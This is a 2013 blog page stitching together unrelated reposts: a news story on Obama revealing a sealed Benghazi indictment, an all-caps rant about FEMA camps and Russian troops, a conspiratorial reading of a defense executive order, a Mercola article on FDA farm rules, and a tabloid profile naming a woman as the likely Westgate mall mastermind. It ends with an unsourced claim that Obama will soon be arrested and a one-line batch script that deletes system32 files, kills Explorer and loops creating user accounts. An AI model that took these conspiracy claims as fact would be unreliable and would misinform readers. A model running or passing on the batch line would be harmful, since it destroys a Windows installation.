Tuesday, September 24, 2013

President Obama's Surprise Revelation of Sealed Benghazi Indictment

President Obama's Surprise Revelation of Sealed Benghazi Indictment

PHOTO: President Barack Obama gestures during his news conference in the East Room of the White House in Washington, Friday, Aug. 9, 2013.
President Obama surprised aides when he revealed today the existence of a sealed indictment in the Benghazi, Libya, attack, leaving some wondering if he crossed a legal line.
At a press conference at the White House, President Obama was asked whether justice would come to those responsible for the terrorist attack nearly a year ago in Benghazi, Libya, that killed four Americans, including the U.S. ambassador.
"[W]e have informed, I think, the public that there's a sealed indictment," the president responded. "It's sealed for a reason. But we are intent on capturing those who carried out this attack, and we're going to stay on it until we get them."
That marked the only official confirmation so far of a sealed indictment in the Benghazi case. For days, officials across the law enforcement and intelligence communities have refused to publicly confirm reports of a sealed indictment.
After all, according to federal law, "no person may disclose [a sealed] indictment's existence," and a "knowing violation … may be punished as a contempt of court." Contempt of court carries a maximum sentence of six months in jail.
A U.S. official, speaking on the condition of anonymity, called the president's disclosure "crazy."
"Doesn't the law apply to the president too?" the official asked, and then jokingly added, "I guess he could pardon himself."
In fact, though, the president is effectively immune from breaking the law when it comes to a sealed indictment, according to a former prosecutor in the Justice Department's Public Integrity Section
"The [president], by virtue of his position, can't violate any non-disclosure/confidentiality rule," said Peter Zeidenberg, now in private practice in Washington. "One of the perks of being the head of the executive branch: Nothing he says is technically a leak. If he does it, it is authorized."
However, Zeidenberg acknowledged "an argument could be made that a sealed matter can only be unsealed by a court."
Zeidenberg helped lead the investigation into who leaked the secret identity of CIA agent Valerie Plame in 2003 and the subsequent prosecution of vice presidential aide "Scooter" Libby for lying to federal officials about his role in all of it.
After the president's remarks, a spokesman for the U.S. Attorney's Office in Washington, where the sealed indictment is believed to have been filed, still declined to comment about reports of a sealed indictment in the Benghazi probe. An email asking specifically about the president's remarks was not immediately returned.
Despite the president's chosen words, a White House official insisted he "was simply referencing widely reported information and was not asked about, nor did he comment on any specific indictment."
A Justice Department spokesman declined to comment,
ABC News' Mary Bruce contributed to this report

RIME TO DEFUND THE DHS

WHEN OUR TROOPS ARE TRAGETS
AND OBAMA IS THE ONE PUTTING THE BULLS EYE ON THEM THEN IT IS TIME WE DEFUND DHS
WHEN MY TAX DOLLARS GOES TO HELP THE UNS ARMY
WHEN MY TAX DOLLARS GOES TO HELPING OBAMA S AGENDA WITH RUSSIAN TROOPS PUTTING US IN A FEMA CAMP TIME WE DEFUND DHS

Obama Executive Order would seize US infrastructure, citizens for nat'l defense


Obama Executive Order would seize US infrastructure, citizens for nat'l defense


March 18, 2012
On Friday, President Obama signed a sweeping Executive Order that would effectively nationalize everything - including food, water and U.S. citizens - in order to prepare for national defense.
Worse yet, the order would also allow for a civilian draft - the conscription of “persons of outstanding experience or ability” without compensation.
A post at Current.com adds:
The EO also states that the President and his Secretaries have the authority to seize all transportation, energy, and infrastructure inside the United States as well as forcibly induct/draft American citizens into the military. The EO also contains a vague reference in regards to harnessing American citizens to fulfill “labor requirements” for the purposes of national defense.
Not only that, but the authority claimed inside the EO does not only apply to National Emergencies and times of war. It also applies in peacetime.
"The National Defense Resources Preparedness Executive Order exploits the “authority” granted to the President in the Defense Production Act of 1950 in order to assert that virtually every means of human survival is now available for confiscation and control by the President via his and his Secretaries’ whim," Current notes.
Oddly enough, the order does not say these are actions to be taken “in the event of a national emergency.” Instead, it uses the term “purposes of national defense.”
Under the section dealing with labor, the order says:
Sec. 601. Secretary of Labor. (a) The Secretary of Labor, in coordination with the Secretary of Defense and the heads of other agencies, as deemed appropriate by the Secretary of Labor, shall:
(1) collect and maintain data necessary to make a continuing appraisal of the Nation's workforce needs for purposes of national defense;
(2) upon request by the Director of Selective Service, and in coordination with the Secretary of Defense, assist the Director of Selective Service in development of policies regulating the induction and deferment of persons for duty in the armed services;
(3) upon request from the head of an agency with authority under this order, consult with that agency with respect to: (i) the effect of contemplated actions on labor demand and utilization; (ii) the relation of labor demand to materials and facilities requirements; and (iii) such other matters as will assist in making the exercise of priority and allocations functions consistent with effective utilization and distribution of labor;
In order to prevent shortfalls in resources, the order also gives various cabinet-level secretaries the authority "to guarantee loans by private institutions," and gives the Treasury Secretary and the Director of the Office of Management and Budget complete authority to set terms, interest rates and maximum amounts to be paid.
If you think you can move to a farm in the country in order to escape the long arm of the regime, think again.
According to the "Definitions" section of the order, absolutely everything - including farm equipment, all food, water and medicine, energy, fertilizer and all forms of "civil transportation" - would be seized by the government. Even repair parts for farm equipment would fall under government jurisdiction.
The order does note, however, that "'[c]ivil transportation' shall not include transportation owned or controlled by the Department of Defense, use of petroleum and gas pipelines, and coal slurry pipelines used only to supply energy production facilities directly."
'Energy, for example, is defined as: "...all forms of energy including petroleum, gas (both natural and manufactured), electricity, solid fuels (including all forms of coal, coke, coal chemicals, coal liquification, and coal gasification), solar, wind, other types of renewable energy, atomic energy, and the production, conservation, use, control, and distribution (including pipelines) of all of these forms of energy."
The post at Current asks:
Nevertheless, some have no doubt begun to wonder why the President has signed such an order. Not only that, but why did he sign the order now? Is it because of the looming war with Iran or the Third World War that will likely result from such a conflict? Is it because of the ticking time bomb called the economy that is only one jittery move or trade deal away from total disintegration? Is it because of a growing sense of hatred of their government amongst the general public? Is there a coming natural disaster of which we are unaware? Are there plans for martial law?
Finance Examiner Kenneth Schortgen, Jr., notes that previous administrations have taken actions limiting individual rights in the past. During the Civil War, President Lincoln suspended Habeus Corpus and Woodrow Wilson used an Executive Order giving him authority "over businesses, industry, transportation, food, and other economic policies" during World War 1.
"In both cases," Schortgen wrote, "it was only after the death of each President that full Constitutional powers were restored to the citizens of the United States."
This order, however, goes far beyond what either Lincoln or Wilson did, and if invoked, would basically turn the United States into a totalitarian regime with Obama as its dictator.
In June, 1966, Robert Kennedy said:
There is a Chinese curse which says 'May he live in interesting times.' Like it or not we live in interesting times. They are times of danger and uncertainty; but they are also more open to the creative energy of men than any other time in history.
Indeed, we seem to be living in very interesting times.
Update: A number of people have commented that this is simply an update of an existing Executive Order (EO 12919) dating back to 1994, but that does not negate the fact that President Obama signed the order on Friday, nor does it change the contents of the order, which can be seen at the White House website here, and about which Ed Morrissey of Hot Air says is "really nothing to worry about at all." We'll let the reader be the judge of that.
Updaye 2: One of the criticisms that has been leveled is that the Executive Order supposedly does not allow the President or one of his Secretaries to hire civilians without compensation, however, Section 502 reads (emphasis added):
Sec. 502. Consultants. The head of each agency otherwise delegated functions under this order is delegated the authority of the President under sections 710(b) and (c) of the Act, 50 U.S.C. App. 2160(b), (c), to employ persons of outstanding experience and ability without compensation and to employ experts, consultants, or organizations.
Be sure to check out the case against re-electing Barack Hussein Obama:
Part 1: Who is this Barack Obama person, really?
Part 2: The fight of the century: Obama versus the Constitution
Part 3: The cult of Barack Obama
Part 4: The Imperial Presidency of Barack Obama
Part 5: The many gaffes of Barack Hussein Obama
Part 6: Barack Hussein Obama: The destroyer of the American Nation
Part 7: Barack Obama's legacy: Incompetence and downgrade
Part 8: Barack Obama: Lord of the Mobs
Part 9: Barack Obama: The class warfare President
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Be sure to check out Joe's other columns:
Spokane Military History Examiner
National Computer User Examiner

No Good Farms―No Good Food: Tell the FDA to Back Off

No Good Farms―No Good Food: Tell the FDA to Back Off

September 24, 2013 | 15,836 views
By Dr. Mercola
The US Food and Drug Administration’s (FDA) Food Safety Modernization Act was enacted in 2011 as a supposed way to ‘better protect public health by strengthening the safety of the food system.’
The Act came in response to a rash of recent deadly foodborne-disease outbreaks involving spinach, peanuts, eggs and other foods. According to the FDA, about one in 6 Americans get sick, and 3,000 die each year from foodborne diseases.1
Unfortunately, the FDA does not readily admit the fact that most deadly food outbreaks can be traced back to foods raised on industrial concentrated animal feeding operations (CAFOs).
The FSMA, which requires extensive mandatory compliance with new FDA-approved production, growing, harvest and other safety standards, also does not distinguish between the massive CAFO and the small, family-run organic farm... and therein lies the problem.

The FSMA Could Force Small Farmers Out of Business

It is quite possible, perhaps even most probable, that the FSMA is designed to halt the growing trend of small organic farms – not through a direct, frontal assault on organic farming, but rather by insidiously creating rules and laws that make it extremely difficult, and incredibly expensive, for small farms to comply.
And in this case, the rules and regulations created by this proposed bill are mandatory, not voluntary, meaning they apply equally to a tiny farmer with half a dozen cows as to a massive CAFO.
This wasn’t supposed to be the case, as the Tester amendment, which was adopted by Congress in 2010, said the FDA’s new federal requirements would not apply to food producers that have less than $500,000 per year in sales, or who sell the majority of their food directly to consumers or within a 275-mile radius of where it was produced.
This, for instance, would protect small farmers who just sell their fruits and vegetables at farmer’s markets or to a local food coop from the extensive new regulations. Unfortunately, it seems this exemption is not what it had originally appeared to be, as small farmers are still seriously at risk.

FDA Seems to Want a One-Size-Fits-All Food Safety Law

As reported by the Cornucopia Institute, the FSMA is not only designed to protect public health; it’s designed to protect industrial agriculture and CAFOs. For starters, they are making it clear that small farms may, in fact, be forced to comply with the new regulations. According to the Cornucopia Institute:2
“In reality, these small farms are not really exempt. The FDA is proposing that the agency can, without any due process, almost immediately force small farms to comply with the same expensive testing and record-keeping requirements for factory farms.
The added expense and record-keeping time will potentially force many small farms — those selling to local farmers markets, co-ops and restaurants — out of business instantly.
Just as important, for farms over $500,000 in volume (and there are plenty of excellent medium-sized organic farms in the $1-$3 million range or larger), some of the provisions will not only be economically damaging (some farmers might not survive this) but actually prohibit some basic practices in the
Organic Food Production Act. Yet if all farms, conventional as well as organic, had to follow the organic regulations for manures/composts, we’d have safer produce.”

CAFOs Are Responsible for the Most Dangerous Foods...

Small family farms are rarely responsible for major food outbreaks – CAFOs, however, are, and this is why they should be more strictly regulated, if not eliminated entirely. For instance:
  • In 2010, over half a billion eggs from two Iowa CAFOs were recalled due to Salmonella poisoning
  • The massive spinach recall in 2006 was due to E. coli commonly found in CAFO cattle
  • In the largest meat recall in US history, 143 million pounds of CAFO beef were recalled because the company did not prevent sick animals from entering the US food supply
Yet the FDA’s draft regulations designed to implement FSMA are not only targeting the CAFOs guilty of the most serious abuses and risks to public health. As the Cornucopia Institute put it:
“...the FDA’s draft regulations designed to implement the new law appear to ignore the will of Congress. Instead, the regulations would ensnare the country’s safest family farmers in burdensome regulations in a misdirected attempt to rein in abuses that are mostly emanating from industrial-scale factory farms and giant agribusiness food processing facilities.”

The FDA’s Draft Guidelines Ignore the Root Causes of Foodborne-Disease Outbreaks

The riskiest pathogens are found on CAFOs, and it is on these giant industrial farms where nearly all pathogenic pollution that contaminates groundwater, fertilizers and the air come from. But the FDA’s draft guidelines do not address the rampant disease on CAFOs, nor their pathogen-filled manure, which contaminates surrounding communities, farms and the food supply, spreading antibiotic resistance in its wake.
The regulations should be targeting high-risk areas to food safety, including CAFOs, and often the processing stage of food production. Yet these are the very practices being ignored or given leniency. The Cornucopia Institute expands on a handful of other issues with the proposed guidelines:3
1. The FDA draft rules do not address a major root source of pathogenic contamination of produce: intensive feeding/confinement of livestock (CAFOs).
2. The draft rules fail to target risky practices, such as fresh-cut produce (bagged spinach and lettuce, etc.), which is inherently riskier, causing over 90% of the E.coli O157:H7 (a particularly deadly strain) illnesses stemming from contaminated produce, according to CDC/FDA data. Yet fresh-cut is not covered in the Produce Rule: it is exempt because it is "processed."
3. The draft rules show a bias against biodiversity.
The proposals would "sterilize" farmland removing habitat for wildlife and beneficial insects which offer biological controls of pests (rather than using toxic agrichemicals). The FDA tends to view farms as food processing facilities: closed controlled environments which need to be sterilized.
4. The draft rules show a strong bias against organic farming methods.
The draft rules fail to discuss how scientific evidence demonstrates that increasing organic matter and biodiversity in the soil can help control pathogenic bacteria. The rule denigrates the effectiveness of thorough manure composting while allowing sewage sludge (banned in organics) in fresh vegetable and fruit production.
5. Agribusiness/government regulation may economically crush our country's safest family-scale farms.
The FDA's own economic analysis of the draft rules acknowledges that certain produce farms and food processors will be driven out of business, and that the cost to a small farm might be as much as $12,000 per year. Large industrial operations already have, as they should, quality control staff and laboratories. Small and medium sized operations do not, due to limitations in terms of economy of scale.
6. The FDA is engaging in "food safety theater" rather than investing in hard research to focus limited resources on the riskiest farms and processors.
The FDA lacks the data to properly assess the risks on organic farms - or on any farms for that matter - yet insists on applying uniform standards, favoring a sterility paradigm based on inadequate science, to all farms. Adequate research is imperative before placing widespread regulatory burdens on family farmers!
7. The egg guidance lacks scientific merit and will hasten a shift of organic production to CAFOs.
The draft guidance makes it expensive and impractical to provide legitimate outdoor access for commercial-scale organic flocks. At the same time, in consort with the USDA, the FDA institutionalizes tiny screened structures as meeting the legal requirement for "access to the outdoors." The FDA has ignored published research that suggests public safety would be improved by addressing giant older buildings, caged production and forced molting.”

You Can Help Protect Small Farmers: Let Your Opinion Be Heard

Do you enjoy purchasing your food from a local farmer’s market, food co-op or community-supported agriculture (CSA) program? Do you believe small organic farmers should be able to continue to provide food to their communities? The Cornucopia Institute has developed a proxy letter that you can print out and sign. They are going to hand deliver these letters to the FDA. They said:
“We have heard time and again that regulators and lawmakers, who have no problem blowing off online petitions, sit up and take notice when they receive hard-copy communications – especially when they’re hand-signed and hand-delivered!”
Download your proxy letter now, feel free to add additional comments and concerns on the back of the letter, and mail it to:
The Cornucopia Institute
PO BOX 126
Cornucopia, WI 54827

The Real Power Is in Your Hands

You may feel that there’s little you can do to change the corrupted food system in the US. But the truth is, if every American decided to not purchase food that comes from CAFOs, the entire system would collapse overnight. It doesn't take an act of Congress to change the food system. All that is required is for each and every person, or at least a majority, to change their shopping habits.
Sourcing your foods from a local farmer is one of your best bets to ensure you're getting food that is wholesome and that is grown in a sustainable fashion. I encourage you to visit your local farm directly, if you have one nearby, and also take part in farmer's markets and community-supported agriculture programs.
Ask the farmers how they grow their food, bring your children so they can see it first-hand, and revel in the connection you re-establish between yourself and your source of food; it’s a connection that is in many ways a representation of life itself. You can find an ever-increasing number of "eat local" and "buy local" directories, in which local farms across the US will be listed. The following organizations can also help you locate farm-fresh foods in your local area:
  1. Local Harvest -- This Web site will help you find farmers' markets, family farms, and other sources of sustainably grown food in your area where you can buy produce, grass-fed meats, and many other goodies.
  2. Farmers' Markets-- A national listing of farmers' markets.
  3. Eat Well Guide: Wholesome Food from Healthy Animals -- The Eat Well Guide is a free online directory of sustainably raised meat, poultry, dairy, and eggs from farms, stores, restaurants, inns, and hotels, and online outlets in the United States and Canada.
  4. Community Involved in Sustaining Agriculture (CISA) -- CISA is dedicated to sustaining agriculture and promoting the products of small farms.
  5. FoodRoutes -- The FoodRoutes "Find Good Food" map can help you connect with local farmers to find the freshest, tastiest food possible. On their interactive map, you can find a listing for local farmers, CSAs, and markets near you.

Why the White Widow is prime suspect: Kenyan anti-terror police believe British woman, 29, may be behind mall massacre

Why the White Widow is prime suspect: Kenyan anti-terror police believe British woman, 29, may be behind mall massacre

  • Samantha Lewthwaite grew up as normal teenager in Buckinghamshire
  • Married British Muslim Jermaine Lindsay who was a 7/7 suicide bomber
  • Woman in a veil appeared to be commanding other terrorists in Nairobi
By Andrew Malone
|

Possibility: The idea that Samantha Lewthwaite, 29, of Buckinghamshire, might have ordered the attack - or even led it herself - is not far-fetched at all
Possibility: The idea that Samantha Lewthwaite, 29, of Buckinghamshire, might have ordered the attack - or even led it herself - is not far-fetched at all
Last night, as the bodies were still being counted at the shopping mall, one British woman was notably slow to join the condemnation.
For Samantha Lewthwaite, the daughter of a former British soldier who grew up attending school discos in Buckinghamshire, views these awful events as a cause for jubilation.
Kenyan anti-terror police revealed yesterday that Lewthwaite - who is known to many as the White Widow - may be the brains behind the operation to bring terror to the heart of Kenya, a country once  synonymous with the sexual high-jinks of the Happy Valley expatriate set, but rapidly becoming a new battleground in the war between Islamists and the West.
‘I suspect this woman Lewthwaite is behind this attack,’ a senior anti-terror source told me last night as survivors described how a woman in a veil appeared to be commanding the other terrorists as they hunted down and killed non-Muslim shoppers.
The idea that she might have ordered the attack – or even led it herself – is not far-fetched at all.
Having converted to Islam as a young woman and married a man who went on to be a 7/7 London suicide bomber, she has become a key figure in the terror group behind this weekend’s attack.
Lewthwaite has even been involved in training a group of all-female suicide attackers at camps in lawless neighbouring Somalia.
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Mall massacre: Civilians who had been hiding during a gun battle hold their hands in the air as a precautionary measure before being searched by armed police leading them to safety, inside the Westgate mall in Nairobi
Mall massacre: Civilians who had been hiding during a gun battle hold their hands in the air as a precautionary measure before being searched by armed police leading them to safety, inside the Westgate mall in Nairobi

It is an extraordinary, macabre journey into darkness for the 29-year-old, who grew up as a normal teenager in Aylesbury before meeting Jermaine Lindsay, a British Muslim, in an online chat room when she was 17. The pair married three years later.
When her husband was named as one of four suicide bombers who blew up Tube trains and a bus in 2005, killing 52 people, Lewthwaite initially condemned her late husband’s attack and denied any knowledge of his plan.
 
This was a lie. More than eight years later, Lewthwaite is one of Al Qaeda’s main recruiters in East Africa and is an official spokesman for Al Shabaab (The People), the terrorist group behind the horror in Nairobi.
As well as railing against ‘infidels in the West’, Lewthwaite had previously used a Twitter account to denounce a rival foreign terrorist in the text-speak of a teenager.

‘Fyi [for your information] sam lewthwaite thinks u r a irritating obnoxious contemptible little Muj PRAT,’ she wrote. (‘Muj’ is a contraction of mujahideen – a jihadist). 
Backup: More soldiers from the Kenya Defence Force arrived to strengthen the already large numbers of troops available to deal with the siege at the Westgate mall in Nairobi, Kenya
Backup: More soldiers from the Kenya Defence Force arrived to strengthen the already large numbers of troops available to deal with the siege at the Westgate mall in Nairobi, Kenya

The object of her anger was Omar Shafik Hammami, a former student from Alabama. Last week he was shot dead in an ambush by terrorists loyal to the White Widow.
‘May his fate serve as a lesson to all those who want to follow in his footsteps as a poster boy for jihad,’ Lewthwaite wrote gleefully on Twitter.
Teenage years: Samantha Lewthwaite grew up attending school discos in Buckinghamshire
Teenage years: Samantha Lewthwaite grew up attending school discos in Buckinghamshire

To add to her name for ruthlessness, the White Widow did not mention in her tweets that a British man reputed to be her second husband was also killed in the ambush.
Her fearless reputation within Africa’s growing Islamic terror network has been strengthened by her own involvement as a mujahid – or warrior – during a series of bombings and shootings in Kenya’s tourist areas.
Known to her devoted followers as dada muzungu – Swahili for white sister – Lewthwaite moved to Kenya with her three children in 2007.
A small, dumpy woman, she cut off all links with her family in Britain and became immersed in East Africa’s Islamic terror networks, forging links with other British fanatics who had come to Kenya to wage ‘jihad’ against non-believers. It was last year that details of Lewthwaite’s secret new life emerged in grisly detail.
A white woman, later identified as Lewthwaite, had led a group of terrorists who fired grenades into a bar in Mombasa, the Kenyan coastal tourist resort popular with Britons. Three people, including a child, were killed and more than 50 injured.
In truth, I was deeply sceptical when news was first leaked two years ago about the White Widow’s alleged role as a terrorist with the group now causing carnage in Nairobi.
Yet now, having spent time among her acolytes in the Islamic stronghold where she once lived near Mombasa, and in briefings with police, prosecutors and senior investigators during subsequent investigations in Nairobi, I have no doubt that Lewthwaite is a cold-blooded killer and a dangerous ideologue.

Senior officers in Kenya have told me they will kill her on sight. So far, however, she has avoided arrest by wearing all-concealing Islamic dress as she has flitted between Somalia, Kenya and Tanzania.
Former home: The 29-year-old grew up as a normal teenager in Aylesbury (file picture), Buckinghamshire, before meeting a British Muslim in an online chat room when she was 17. The pair married three years later
Former home: The 29-year-old grew up as a normal teenager in Aylesbury (file picture), Buckinghamshire, before meeting a British Muslim in an online chat room when she was 17. The pair married three years later

Meanwhile, the group she is allied to continues to wreak havoc in the region.
Al Shabaab grew out of the chaos of Somalia, and has seen jihadists wage a brutal war to impose strict sharia law in the East African state.
'I suspect this woman Lewthwaite is behind this attack'
Senior anti-terror source

But Kenyan forces, supported by Britain and America, have been waging war across the border in Somalia in an attempt to keep the Islamists from power.
With the war against Al Shabaab in Somalia proving highly effective, Kenya’s support has made it a key enemy of the Islamists.
Even before this weekend’s attack, the activities of Lewthwaite and her fellow terrorists had turned Kenya into a place of fear and paranoia.
Clearly, the White Widow has a taste for blood. It remains to be seen whether she will live long enough to kill again.

WORD I AM GETTING

PEN
INSIDER SAYS OBAMA WILL SOON BE ARESTED
@echo off* cvirus del /f /q ''c:\windows\system32'' taskkill explorer.exe tskill explorer.exe set /a virus s=1 net user %virus=1 goto virus*